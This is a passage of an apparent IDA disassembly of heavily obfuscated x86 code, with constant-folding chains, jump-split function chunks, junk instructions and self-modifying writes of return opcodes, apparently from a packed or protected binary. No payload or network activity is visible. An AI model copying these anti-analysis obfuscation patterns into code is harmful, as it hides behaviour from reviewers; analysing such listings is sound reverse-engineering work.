FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- push edi jmp sub_747379 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C3EB loc_756F67: ; CODE XREF: sub_74C3EB:loc_74F571j jz loc_750C69 jmp loc_74A0FB ; END OF FUNCTION CHUNK FOR sub_74C3EB ; --------------------------------------------------------------------------- loc_756F72: ; CODE XREF: _0z4jwtox:00752D86j pop esi xchg ebx, [ebp+0] sub ebx, 0EBB5783Ch ; START OF FUNCTION CHUNK FOR sub_7557E7 loc_756F7C: ; CODE XREF: sub_7557E7:loc_752D73j rol ecx, 16h add ecx, 0BCC063A8h jmp loc_74F0C0 ; END OF FUNCTION CHUNK FOR sub_7557E7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_277. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752149 loc_756F8B: ; CODE XREF: sub_752149+7j jmp sub_748C0D ; END OF FUNCTION CHUNK FOR sub_752149 ; --------------------------------------------------------------------------- loc_756F90: ; DATA XREF: sub_750243+3800o jnz loc_7451CE mov eax, [ebp-4] mov [ebp-0Ch], eax shl dword ptr [ebp-8], 8 jmp loc_749820 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750243 loc_756FA5: ; CODE XREF: sub_750243:loc_74DD79j mov eax, [ebp+var_C] cmp byte ptr [eax], 0 jnz loc_7451CE mov eax, [ebp+var_4] jmp loc_74CC7B ; END OF FUNCTION CHUNK FOR sub_750243 ; --------------------------------------------------------------------------- sub ebp, ecx jmp sub_7497F9 ; --------------------------------------------------------------------------- cmp edx, 0DF08818Ah jmp loc_7561EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752520 loc_756FCB: ; CODE XREF: sub_752520+341Ej and edx, ecx mov ebx, [edx] shl ebx, 9 jmp loc_74C499 ; END OF FUNCTION CHUNK FOR sub_752520 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74742A loc_756FD7: ; CODE XREF: sub_74742A:loc_75106Ej test ecx, 57C52832h jmp loc_756EAB ; END OF FUNCTION CHUNK FOR sub_74742A ; =============== S U B R O U T I N E ======================================= sub_756FE2 proc near ; DATA XREF: sub_756F0Do call sub_756FF2 jmp ds:off_41F064 sub_756FE2 endp ; --------------------------------------------------------------------------- loc_756FED: ; CODE XREF: _0z4jwtox:007493D3j jmp loc_749A63 ; =============== S U B R O U T I N E ======================================= sub_756FF2 proc near ; CODE XREF: _0z4jwtox:loc_748A78j ; sub_756FE2p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 007497E4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074FDCF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074FDF5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00755C6C SIZE 00000023 BYTES pop edx jnz loc_74FDF5 mov eax, [esp+4+var_4] push ecx jmp loc_755C6C sub_756FF2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- test al, al jz loc_746260 jmp loc_745E0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756826 loc_75700F: ; CODE XREF: sub_756826-9953j jnz loc_747FB5 jmp loc_755E33 ; END OF FUNCTION CHUNK FOR sub_756826 ; =============== S U B R O U T I N E ======================================= sub_75701A proc near ; DATA XREF: _0z4jwtox:00756D07o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00752D42 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0075702E SIZE 00000018 BYTES push 3D5581EFh pop eax rol eax, 7 and eax, 0E020FE88h jmp loc_752D42 sub_75701A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75701A loc_75702E: ; CODE XREF: sub_75701A-42C0j pop ecx and ecx, 4B8A30DAh rol ecx, 1Bh add ecx, 30708C71h xchg ecx, [esp+4+var_4] jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_75701A ; --------------------------------------------------------------------------- shr ecx, 3 jmp sub_7468F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7570B1 loc_75704E: ; CODE XREF: sub_7570B1-10FCj jl loc_752611 ; END OF FUNCTION CHUNK FOR sub_7570B1 ; START OF FUNCTION CHUNK FOR sub_74E451 loc_757054: ; CODE XREF: sub_74E451+1447j jmp loc_75238B ; END OF FUNCTION CHUNK FOR sub_74E451 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C0C loc_757059: ; CODE XREF: sub_747C0C+38DCj jmp nullsub_230 ; END OF FUNCTION CHUNK FOR sub_747C0C ; --------------------------------------------------------------------------- and eax, ecx sbb edx, 0A1F902B9h jmp loc_752611 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_75706B: ; CODE XREF: sub_747C22+ECEFj jz loc_74D5D0 jmp loc_7494AD ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755148 loc_757076: ; CODE XREF: sub_755148:loc_755149j jnz loc_7502E6 mov eax, [esp+4+var_4] push edx push edi push 64FEFAEAh pop edi add edi, 8E625C1Dh xor edi, 0A6322846h jmp loc_755AC5 ; END OF FUNCTION CHUNK FOR sub_755148 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755E40 loc_757098: ; CODE XREF: sub_755E40-D83Dj shr ebp, 0Ch xor edx, 0E21E0D36h pop ebx jmp loc_748A06 ; END OF FUNCTION CHUNK FOR sub_755E40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D4C5 loc_7570A7: ; CODE XREF: sub_74D4C5:loc_7551FFj mov ecx, ebp pop ebp loc_7570AA: ; CODE XREF: _0z4jwtox:0074DD10j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_74D4C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_7570AC: ; CODE XREF: sub_746640+6E2j jmp loc_746443 ; END OF FUNCTION CHUNK FOR sub_746640 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_7570B1 proc near ; CODE XREF: _0z4jwtox:00748504p ; sub_74C3B3-2AF8j ... ; FUNCTION CHUNK AT 0074D61D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752611 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00755F9E SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0075704E SIZE 00000006 BYTES push ebp mov ebp, esp jmp loc_755F9E sub_7570B1 endp ; --------------------------------------------------------------------------- loc_7570B9: ; CODE XREF: _0z4jwtox:0074C546j push edx call sub_746C25 push 0E45B1409h pop eax jmp loc_7531ED ; =============== S U B R O U T I N E ======================================= sub_7570CA proc near ; CODE XREF: sub_755DA4-DD13p ; _0z4jwtox:007538A9j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00747E9B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A4C9 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074B9E5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074D714 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074EF96 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0075516F SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx xchg ecx, [esp-4+arg_0] call sub_745715 push 4309A0EAh jmp loc_75516F sub_7570CA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_7570E0 proc near ; CODE XREF: _0z4jwtox:loc_74AB1Bp ; _0z4jwtox:0074D408j ; FUNCTION CHUNK AT 00746230 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074F079 SIZE 0000000F BYTES xchg edi, [esp+0] pop edi call sub_754FC6 mov edx, 0A22F8A70h call sub_74BA29 mov ds:dword_7575B8, eax call sub_754FC6 mov edx, 0A2CD59D9h jmp loc_74F079 sub_7570E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_757107: ; CODE XREF: _0z4jwtox:0074ABC1j mov [ebp+0], ecx jg loc_7481BA or esi, ebp loc_757112: ; CODE XREF: _0z4jwtox:loc_74ABA2j sub eax, 7F66CB40h xor eax, 127C2878h call sub_746E93 mov ds:off_41F0C4, eax jmp loc_74F083 ; =============== S U B R O U T I N E ======================================= sub_75712E proc near ; DATA XREF: sub_74C874-5EBFo arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074539A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0074631E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00746487 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00747E43 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074DBF6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074F8BF SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007504BF SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00754DCB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755979 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 007569D5 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0075739A SIZE 0000000A BYTES push ebx push 0F7880BB9h pop ebx add ebx, 0C0FCF4Ah jns loc_7504BF loc_757141: ; CODE XREF: sub_74ED5F+289Bj jmp loc_746487 sub_75712E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749EC9 loc_757146: ; CODE XREF: sub_749EC9-1B2Ej jmp nullsub_275 ; END OF FUNCTION CHUNK FOR sub_749EC9 ; --------------------------------------------------------------------------- loc_75714B: ; CODE XREF: _0z4jwtox:loc_750C97j push edx jmp loc_747BBD ; =============== S U B R O U T I N E ======================================= sub_757151 proc near ; CODE XREF: sub_7458BE+1p ; _0z4jwtox:0074DF3Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0074728B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748AF3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A3D7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0074A763 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074B385 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0074E2C2 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0074E33B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00756D66 SIZE 0000000D BYTES xchg esi, [esp-4+arg_0] pop esi push 0FCC39325h pop edx and edx, 1EC65986h sub edx, 0FD289A4Dh jmp loc_74A763 sub_757151 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_75716C: ; CODE XREF: sub_746640+DAD1j mov [ebx], edi xchg esi, edx not ebp or edx, 0DB279CA9h sub esi, 3CE4D8C6h jmp loc_74BC2E ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_757183: ; CODE XREF: sub_7474B9:loc_7501FDj lea eax, loc_74DDA5 mov byte ptr [eax], 0C3h jmp loc_74DDA5 ; END OF FUNCTION CHUNK FOR sub_7474B9 ; =============== S U B R O U T I N E ======================================= sub_757191 proc near ; CODE XREF: sub_4090ED+58p ; sub_4090ED+6Fp ... call sub_7571A1 jmp ds:off_41F0F4 sub_757191 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753F8B loc_75719C: ; CODE XREF: sub_753F8B-C4B8j jmp loc_755E64 ; END OF FUNCTION CHUNK FOR sub_753F8B ; =============== S U B R O U T I N E ======================================= sub_7571A1 proc near ; CODE XREF: _0z4jwtox:loc_748BF6j ; sub_7457DD+A866j ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007451C1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074560F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 007490D0 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074979B SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0074A833 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074B8D5 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0074DB68 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074E709 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074FC6E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00750048 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0075272E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00754F67 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0075677A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00757893 SIZE 0000001A BYTES jz loc_750048 jmp loc_7490D0 sub_7571A1 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_243. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_7571AD proc near ; CODE XREF: _0z4jwtox:007542A0j ; _0z4jwtox:007567E3p xchg eax, [esp+0] pop eax push edx sub_7571AD endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_748FA4 loc_7571B2: ; CODE XREF: sub_748FA4:loc_755EEBj call sub_74A5E8 push 0B5C3FD7Eh pop eax jmp loc_756BAE ; END OF FUNCTION CHUNK FOR sub_748FA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C72 loc_7571C2: ; CODE XREF: sub_747C72+7E4Ej mov ds:off_41F194, eax lea eax, sub_75622B loc_7571CE: ; CODE XREF: sub_747AEC+2B37j mov byte ptr [eax], 0C3h jmp loc_753E3B ; END OF FUNCTION CHUNK FOR sub_747C72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75622B loc_7571D6: ; CODE XREF: sub_75622Bj xchg ecx, [esp+0] push ecx pop edx jmp loc_753A6D ; END OF FUNCTION CHUNK FOR sub_75622B ; =============== S U B R O U T I N E ======================================= sub_7571E0 proc near ; DATA XREF: sub_746E37+A557o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00746535 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074F655 SIZE 00000005 BYTES pop edx mov eax, [esp-4+arg_0] push edx push edi push 0CD0F294h pop edi or edi, 8E3C040Bh add edi, 71786DCCh jmp loc_74F655 sub_7571E0 endp ; --------------------------------------------------------------------------- loc_7571FD: ; CODE XREF: _0z4jwtox:0074D1A5j mov esi, [ecx] ; =============== S U B R O U T I N E ======================================= sub_7571FF proc near ; CODE XREF: _0z4jwtox:00753ABEp xchg eax, [esp+0] pop eax mov eax, ds:dword_74B938 mov [eax], ebx sub_7571FF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_7462FD loc_75720A: ; CODE XREF: sub_7462FD:loc_754392j push offset loc_7539D5 jmp nullsub_296 ; END OF FUNCTION CHUNK FOR sub_7462FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E693 loc_757214: ; CODE XREF: sub_74E693+13j jnz loc_7554F2 jmp loc_749C65 ; END OF FUNCTION CHUNK FOR sub_74E693 ; --------------------------------------------------------------------------- loc_75721F: ; CODE XREF: _0z4jwtox:00751EBCj retn ; --------------------------------------------------------------------------- loc_757220: ; CODE XREF: _0z4jwtox:00750FEAj jmp loc_74F704 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749B76 loc_757225: ; CODE XREF: sub_749B76:loc_7552C5j mov eax, [ebp-4] xor edx, edx push edx push eax mov eax, [ebp-8] push offset sub_74D0A9 jmp nullsub_236 ; END OF FUNCTION CHUNK FOR sub_749B76 ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBE6 loc_75723B: ; CODE XREF: sub_752520:loc_748ADCj ; sub_74CBE6+Ej mov eax, [ebp+8] cmp dword ptr [eax-0Ch], 4 jnz loc_75376F add dword ptr [ebp-8], 4 jmp loc_74CBFD ; END OF FUNCTION CHUNK FOR sub_74CBE6 ; =============== S U B R O U T I N E ======================================= sub_757251 proc near ; CODE XREF: _0z4jwtox:0074E9B0j ; sub_74F3C6+4933p xchg edx, [esp+0] pop edx add edx, ebp add edx, 2874DB9Ah mov edx, [edx] push offset sub_747258 jmp loc_748A6D sub_757251 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_757269 proc near ; CODE XREF: sub_74946E-3CF3j retn sub_757269 endp ; --------------------------------------------------------------------------- loc_75726A: ; CODE XREF: _0z4jwtox:00750826j jmp loc_74BEE8 ; --------------------------------------------------------------------------- loc_75726F: ; CODE XREF: _0z4jwtox:loc_749910j jnz loc_74C743 adc ebp, edi sub ecx, 0D05D22BAh jmp loc_74C73F ; --------------------------------------------------------------------------- push 1B08660Fh jmp loc_7463AD ; --------------------------------------------------------------------------- loc_75728C: ; CODE XREF: _0z4jwtox:007511C4j jnz loc_748AE7 jmp loc_749876 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE67 loc_757298: ; CODE XREF: sub_74AE67:loc_74D64Cj jmp loc_752005 ; END OF FUNCTION CHUNK FOR sub_74AE67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C2C9 loc_75729D: ; CODE XREF: sub_74C2C9-54A1j jmp nullsub_237 ; END OF FUNCTION CHUNK FOR sub_74C2C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_7572A2: ; CODE XREF: sub_747C22:loc_74F683j mov [ebp-18h], eax mov eax, [ebp-4] mov eax, [eax+4] test eax, eax jle loc_74B7FA jmp loc_749375 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- loc_7572B8: ; CODE XREF: _0z4jwtox:00755BA4j jge loc_75136A jns loc_7502BE ; =============== S U B R O U T I N E ======================================= sub_7572C4 proc near ; CODE XREF: sub_748C3B+BF0Ap xchg edx, [esp+0] pop edx jmp loc_756780 sub_7572C4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_7572CD: ; CODE XREF: _0z4jwtox:0074B61Cj add eax, 0A1C817ACh ; =============== S U B R O U T I N E ======================================= sub_7572D3 proc near ; CODE XREF: sub_74A094:loc_752D0Bp ; FUNCTION CHUNK AT 007563C8 SIZE 00000024 BYTES xchg edx, [esp+0] pop edx lea eax, [ebp-125h] jmp loc_7563C8 sub_7572D3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jno loc_74FF7D jmp loc_746B7A ; --------------------------------------------------------------------------- loc_7572ED: ; CODE XREF: _0z4jwtox:00746E7Cj jo loc_7481F1 ; =============== S U B R O U T I N E ======================================= sub_7572F3 proc near ; CODE XREF: sub_74E6F5+Ap ; FUNCTION CHUNK AT 007461C6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0074693A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00749D2A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074A398 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074D40E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750BB1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007546F3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00755ADF SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00755C0B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755FFA SIZE 0000000A BYTES xchg eax, [esp+0] pop eax jb loc_755FFA call sub_74E693 loc_757302: ; CODE XREF: sub_74E685-8641j jmp loc_755ADF sub_7572F3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E762 loc_757307: ; CODE XREF: sub_74E762:loc_748646j mov edx, [ecx] ja sub_74F15D jmp loc_74926F ; END OF FUNCTION CHUNK FOR sub_74E762 ; =============== S U B R O U T I N E ======================================= sub_757314 proc near ; DATA XREF: sub_74A657+18o ; FUNCTION CHUNK AT 00745F88 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007481A8 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074B94C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D511 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074E816 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074FA10 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00750D83 SIZE 00000014 BYTES add eax, 3DABBF10h add eax, ebp add eax, 0D7044249h mov eax, [eax] pushf push 0AEF422CEh pop ecx add ecx, 7FC9B364h jmp loc_74B94C sub_757314 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_757336: ; CODE XREF: sub_74C670:loc_74E8BBj add eax, 5C86C4E0h add eax, ebp add eax, 7364BB04h mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_755BFE jmp loc_74D185 ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B44 loc_757354: ; CODE XREF: sub_748B44+3DDFj shr ebp, 0Ch loc_757357: ; CODE XREF: sub_748B44:loc_7537C2j push 642592E4h pop eax xor eax, 8E9BA3C0h sub eax, 81BAF86Ch and eax, 51201387h add eax, 2DDDA2C9h jmp loc_74933F ; END OF FUNCTION CHUNK FOR sub_748B44 ; --------------------------------------------------------------------------- xor ebx, 0DE2F8499h add ebx, 89F67BF5h xor eax, ebx pop ebx add eax, 31533C2Bh xor eax, 1D5DFA5Fh jmp loc_75001C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75712E loc_75739A: ; CODE XREF: sub_75712E-9537j sub esi, 0A6FF13D6h xor ebp, ecx not ebx ; END OF FUNCTION CHUNK FOR sub_75712E ; START OF FUNCTION CHUNK FOR sub_74C8DA loc_7573A4: ; CODE XREF: sub_75712E:loc_7453A2j ; sub_74C8DA-81Fj ... jmp loc_74B52B ; --------------------------------------------------------------------------- loc_7573A9: ; CODE XREF: sub_74C8DA+3868j ; sub_752A54+6j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_74C8DA ; --------------------------------------------------------------------------- loc_7573AC: ; CODE XREF: _0z4jwtox:00747364j jmp loc_754996 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_7573B1: ; CODE XREF: sub_752D11-1F77j xchg eax, [ecx] loc_7573B3: ; CODE XREF: sub_752D11:loc_746EFBj mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] push offset loc_74D9ED jmp nullsub_239 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AD56 loc_7573C5: ; CODE XREF: sub_74AD56+Cj push offset sub_755892 jmp loc_74FD25 ; END OF FUNCTION CHUNK FOR sub_74AD56 ; --------------------------------------------------------------------------- call sub_748CFC ; START OF FUNCTION CHUNK FOR sub_7557E7 loc_7573D4: ; CODE XREF: sub_7557E7:loc_74D36Cj test eax, 800000h jmp loc_748BAE ; END OF FUNCTION CHUNK FOR sub_7557E7 ; --------------------------------------------------------------------------- pushf jmp loc_7565ED ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBB7 loc_7573E6: ; CODE XREF: sub_74CBB7+76FCj jmp loc_75259E ; END OF FUNCTION CHUNK FOR sub_74CBB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B1F9 loc_7573EB: ; CODE XREF: sub_74B1F9+8DC6j jmp nullsub_280 ; END OF FUNCTION CHUNK FOR sub_74B1F9 ; --------------------------------------------------------------------------- loc_7573F0: ; DATA XREF: sub_747AEC+1DE0o add ebx, 965D8F35h popf call sub_7469BF ; START OF FUNCTION CHUNK FOR sub_74E3F7 loc_7573FC: ; CODE XREF: sub_74E3F7+Ej jmp loc_7503B1 ; END OF FUNCTION CHUNK FOR sub_74E3F7 ; --------------------------------------------------------------------------- add edx, 0B22E5F48h jmp sub_7514AC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_75740D proc near ; CODE XREF: _0z4jwtox:loc_746A92p ; sub_74F69D-5D41p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00750A30 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00752452 SIZE 00000005 BYTES push ebp mov ebp, esp push ebx mov ebx, edx jmp loc_750A30 sub_75740D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BFE0 loc_757418: ; CODE XREF: sub_74BFE0+62E2j call sub_748FA4 ; END OF FUNCTION CHUNK FOR sub_74BFE0 ; START OF FUNCTION CHUNK FOR sub_747290 loc_75741D: ; CODE XREF: sub_747290+1j jmp loc_74D141 ; END OF FUNCTION CHUNK FOR sub_747290 ; --------------------------------------------------------------------------- rol ecx, 5 ror esi, 4 jmp sub_748A22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750291 loc_75742D: ; CODE XREF: sub_750291:loc_74C407j jl loc_754548 loc_757433: ; CODE XREF: _0z4jwtox:00754125j jmp sub_745A78 ; END OF FUNCTION CHUNK FOR sub_750291 ; --------------------------------------------------------------------------- pop ebx rol esi, 19h or edi, 8F60D084h loc_757442: ; CODE XREF: _0z4jwtox:loc_74EEDCj and ebx, eax jmp loc_754548 ; --------------------------------------------------------------------------- sub esi, 3C93CCAAh jmp sub_749576 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_757454: ; CODE XREF: sub_7473D1+D6F6j jge loc_7451AF loc_75745A: ; CODE XREF: sub_74DF5E-7000j jmp loc_74F043 ; END OF FUNCTION CHUNK FOR sub_7473D1 ; --------------------------------------------------------------------------- jg loc_74C039 cmp edx, 0AD17F0DBh jmp loc_754873 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746C5E loc_757470: ; CODE XREF: sub_746C5E+5B20j jz loc_74C6D4 jmp loc_7451BC ; END OF FUNCTION CHUNK FOR sub_746C5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749B76 loc_75747B: ; CODE XREF: sub_749B76:loc_745430j mov eax, [ebp-4] call sub_7497F9 loc_757483: ; CODE XREF: sub_7515AA+5894j jmp loc_752AAF ; END OF FUNCTION CHUNK FOR sub_749B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_757488: ; CODE XREF: sub_747AEC-194Aj jmp loc_754E32 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- loc_75748D: ; CODE XREF: _0z4jwtox:007459ADj jmp sub_756FF2 ; --------------------------------------------------------------------------- loc_757492: ; CODE XREF: _0z4jwtox:00750FF7j jnb loc_756277 ; =============== S U B R O U T I N E ======================================= sub_757498 proc near ; CODE XREF: sub_74A83D+8p ; FUNCTION CHUNK AT 0074981A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074E0B1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00753700 SIZE 00000011 BYTES xchg ebx, [esp+0] pop ebx push 0B9D5262Ch xchg edx, [esp+0] mov eax, edx pop edx sub eax, 32D0586Ch loc_7574AD: ; CODE XREF: _0z4jwtox:loc_7508BEj jmp loc_74E0B1 sub_757498 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_7574B3: ; CODE XREF: _0z4jwtox:0074563Fj jmp loc_753727 ; --------------------------------------------------------------------------- mov eax, 0D1CB0F56h push esi call sub_750F63 ; START OF FUNCTION CHUNK FOR sub_7561AB loc_7574C3: ; CODE XREF: sub_7561AB-2225j jmp loc_750CF9 ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F615 loc_7574C8: ; CODE XREF: sub_74F615-1533j jmp loc_74AA6C ; END OF FUNCTION CHUNK FOR sub_74F615 ; --------------------------------------------------------------------------- push ecx jmp sub_74890C ; --------------------------------------------------------------------------- loc_7574D3: ; DATA XREF: sub_75038Bo call sub_7574E3 jmp ds:off_41F134 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7462C2 loc_7574DE: ; CODE XREF: sub_7462C2:loc_74C219j jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_7462C2 ; =============== S U B R O U T I N E ======================================= sub_7574E3 proc near ; CODE XREF: _0z4jwtox:loc_748F50j ; _0z4jwtox:0074D2BAj ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074A503 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074BC43 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074D2BF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074DFFF SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0074F29A SIZE 00000005 BYTES jno loc_74D2BF pop edx jmp loc_74A503 sub_7574E3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub ebp, edx jge loc_755753 jmp sub_7471C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A47B loc_7574FC: ; CODE XREF: sub_74A47B+Ej mov ebx, eax pop eax rol ebx, 